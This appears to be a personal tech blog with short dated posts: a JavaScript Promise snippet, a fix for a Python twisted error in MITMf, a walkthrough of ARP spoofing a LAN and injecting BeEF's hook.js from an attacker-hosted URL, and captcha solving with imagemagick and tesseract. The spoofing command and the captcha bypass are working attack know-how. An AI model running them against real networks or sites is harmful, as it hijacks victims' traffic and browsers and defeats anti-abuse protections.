Freitag, 21. Mai 2021

JavaScript Promise example

                function asyncStuff(spinnerUp, dayIndex){  
                     return new Promise(function(resolve, reject){  
                          var e = window.event;  
                          if (bytexApp.isSet(e)) {  
                               e.stopPropagation();  
                               e.preventDefault();  
                          }  
                          var spinnerUp = $(spinnerUp);  
                          bytexApp.itineraryController.itineraryModel.days[dayIndex].startDateTime =  
                               bytexApp.itineraryController.itineraryModel.days[dayIndex].startDateTime.plus({minutes: 10});  
                          console.log(bytexApp.itineraryController.itineraryModel.days[dayIndex].startDateTime);  
                          console.log(bytexApp.itineraryController.itineraryModel.days[dayIndex].startDateTime.minute);  
                          //               bytexApp.itineraryController.itineraryView.drawDay(this.itineraryModel, dayIndex);  
                          bytexApp.itineraryController.itineraryView.dayViews[dayIndex].redrawTimes(bytexApp.itineraryController.itineraryModel.days[dayIndex]);  
                          resolve(dayIndex);  
                     });  
                }  
                asyncStuff(spinnerUp, dayIndex).then(function(dayIndex){  
                     setTimeout(function(dayIndex) {  
                          // bytexApp.itineraryController.recalculateDayActivityTimes(dayIndex);  
                     }, 100);  
                });  

Dienstag, 19. April 2016

mitmf error with python library python-twisted

2016-03-31 13:23:21 [ProxyPlugins] Exception occurred in hooked function Traceback (most recent call last): File "/root/Desktop/MITMf-master.4/core/proxyplugins.py", line 112, in hook a = f(args) File "/root/Desktop/MITMf-master.4/plugins/inject.py", line 65, in response mime = response.headers['Content-Type'] AttributeError: ClientRequest instance has no attribute 'headers'
So, this is the error i got, when i was trying to inject a javascript file with the mitmf framework. What worked for me is uninstalling the twisted python library. And afterwards installing the newsest version manually. I was using Kali 2016.2 where the library is installed via apt.
apt-get remove python-twisted
Now you need to download twisted again:
wget http://twistedmatrix.com/Releases/Twisted/15.5/Twisted-15.5.0.tar.bz2
and instal it:
pip install ./Twisted-15.5.0.tar.bz2
This should do the trick :)

Freitag, 22. Januar 2016

MITMf and hook.js of the beef framework

This post is about arp poisining the local network with the mitmf which is already in the standard repositories of kali linux and can be inistalled via apt-get. First we need to start beef :
 /usr/share/beef-xss/beef   
Open a new terminal and start the man-in-the-middle attack with mitmf as follows :
 mitmf --spoof --arp -i eth0 --gateway 192.168.0.1 --target 192.168.0.30 --inject --js-url http://192.168.0.56:3000/hook.js^  
I think this is more or less self explained. The --js-url parameter url you can find in the output of the beef framework. (take a look at the picture above). Now you can open the beef gui which is a webfrontend and the url you can also find in the terminal, in this case :
 http://192.168.0.56:3000/ui/panel  
That's it!

Dienstag, 10. Februar 2015

Handle captchas with unix command line tools imagemagick and tesseract-ocr. This is the result of playing around in lunch break.

This is captcha i tried to get the text value of. Therefor i once pushed it through imagemagick to get the tiny fractals away.

convert securimage_show.php.png -fuzz 40% -fill red -opaque white result




sudo tesseract result -psm 8  captcha_txt

Tesseract is able to read the second image and writes the text uwCzDv to file captcha_txt.